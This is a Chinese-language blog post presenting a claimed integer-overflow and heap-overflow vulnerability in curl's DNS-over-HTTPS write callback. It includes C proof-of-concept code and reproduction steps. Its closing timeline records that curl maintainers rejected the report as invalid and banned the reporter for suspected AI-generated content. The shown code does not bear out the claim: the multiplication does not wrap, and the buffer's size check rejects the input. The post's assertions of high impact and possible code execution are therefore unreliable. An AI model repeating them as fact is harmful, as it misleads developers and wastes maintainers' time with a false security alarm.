curl DoH响应处理中的整数溢出到堆溢出漏洞分析

本文详细分析了curl库中DNS-over-HTTPS(DoH)响应处理存在的整数溢出漏洞,该漏洞可导致堆溢出,造成程序崩溃或任意代码执行,包含完整的概念验证代码和技术分析。

curl DoH响应处理中的整数溢出到堆溢出漏洞分析

漏洞概述

在curl库的lib/doh.c文件中的doh_probe_write_cb函数存在整数溢出漏洞。该函数作为DNS-over-HTTPS(DoH)响应的写入回调函数使用。当恶意DoH服务器发送特制大小的响应时,size和nmemb的乘法运算可能发生溢出。

技术细节

漏洞位置

  • 受影响文件:lib/doh.c中的doh_probe_write_cb函数
  • 相关文件:lib/doh.hlib/curlx/dynbuf.hlib/curlx/dynbuf.c

漏洞原理

当size和nmemb参数相乘结果超出size_t类型最大值时,会发生整数溢出,导致:

  1. 分配小于预期大小的堆缓冲区
  2. 函数返回环绕后的错误大小值
  3. 调用方后续访问缓冲区时导致堆溢出

影响版本

该漏洞在curl仓库的当前master分支中发现,可在标准Linux构建中复现。

概念验证代码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define CURL_STATICLIB
#include <curl/curl.h>

// --- From curl/lib/curlx/dynbuf.h ---
struct dynbuf {
  char *bufr;
  size_t leng;
  size_t allc;
  size_t toobig;
};

#define DYN_DOH_RESPONSE    3000

// --- From curl/lib/curlx/dynbuf.c ---
void curlx_dyn_init(struct dynbuf *s, size_t toobig)
{
  s->bufr = NULL;
  s->leng = 0;
  s->allc = 0;
  s->toobig = toobig;
}

void curlx_dyn_free(struct dynbuf *s)
{
  free(s->bufr);
  s->bufr = NULL;
  s->leng = 0;
  s->allc = 0;
}

CURLcode dyn_nappend(struct dynbuf *s, const unsigned char *mem, size_t len)
{
  size_t idx = s->leng;
  size_t a = s->allc;
  size_t fit = len + idx + 1;

  if(len > s->toobig - idx - 1) {
    return CURLE_TOO_LARGE;
  }

  if(!a) {
    a = fit;
  }
  else {
    while(a < fit)
      a *= 2;
  }

  if(a != s->allc) {
    void *p = realloc(s->bufr, a);
    if(!p) {
      curlx_dyn_free(s);
      return CURLE_OUT_OF_MEMORY;
    }
    s->bufr = p;
    s->allc = a;
  }

  if(len)
    memcpy(&s->bufr[idx], mem, len);
  s->leng = idx + len;
  s->bufr[s->leng] = 0;
  return CURLE_OK;
}

CURLcode curlx_dyn_addn(struct dynbuf *s, const void *mem, size_t len)
{
  return dyn_nappend(s, (const unsigned char *)mem, len);
}

size_t curlx_dyn_len(const struct dynbuf *s)
{
  return s->leng;
}

// --- From curl/lib/doh.h ---
struct doh_request {
  unsigned char req_body[256 + 16];
  void *req_hds;
  struct dynbuf resp_body;
  size_t req_body_len;
  int dnstype;
};

// 这是从doh.c复制的漏洞函数
size_t doh_probe_write_cb(char *contents, size_t size, size_t nmemb, void *userp)
{
  size_t realsize = size * nmemb;
  struct doh_request *doh_req = (struct doh_request *)userp;

  if(!doh_req)
    return -1; // CURL_WRITEFUNC_ERROR

  // 漏洞点:curlx_dyn_addn被调用时传入环绕后的realsize值,可能非常大
  if(curlx_dyn_addn(&doh_req->resp_body, contents, realsize))
    return 0;

  return realsize;
}

int main(void)
{
  struct doh_request doh_req;
  size_t size = 1;
  size_t nmemb = (size_t)-1; // 这将导致整数溢出
  char *contents = "A";

  printf("使用以下参数模拟调用doh_probe_write_cb:\n");
  printf("size = %zu\n", size);
  printf("nmemb = %zu\n", nmemb);

  // 初始化动态缓冲区
  curlx_dyn_init(&doh_req.resp_body, DYN_DOH_RESPONSE);

  // 此调用将崩溃,证明漏洞存在
  doh_probe_write_cb(contents, size, nmemb, &doh_req);

  // 这部分不会被执行到
  printf("此消息不应被打印。\n");
  curlx_dyn_free(&doh_req.resp_body);

  return 0;
}

复现步骤

  1. 将PoC代码保存为poc.c文件
  2. 使用命令编译:gcc -o poc poc.c -lcurl
  3. 运行程序:./poc
  4. 观察输出和段错误崩溃

漏洞影响

攻击者通过控制恶意DoH服务器可利用此漏洞导致:

  • libcurl客户端应用程序发生堆溢出
  • 拒绝服务(程序崩溃)
  • 潜在任意代码执行

鉴于libcurl的广泛使用,此漏洞的影响程度较高。

时间线

  • 12天前:漏洞报告提交至curl
  • 12天前:curl开发人员要求提供具体证明
  • 12天前:报告者提供改进的PoC代码和AddressSanitizer验证
  • 12天前:curl开发人员质疑报告真实性并关闭报告
  • 12天前:报告被披露为公开状态

后续讨论

报告者在后续回复中承认:

  • 是漏洞挖掘新手,对代码理解存在困惑
  • 使用了AI辅助组织思路,但技术分析和PoC开发均为手动完成
  • 对浪费维护者时间表示歉意

curl开发人员最终以"不适用"状态关闭该报告,并表示由于报告质量问题和疑似AI生成内容,已禁止该用户。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计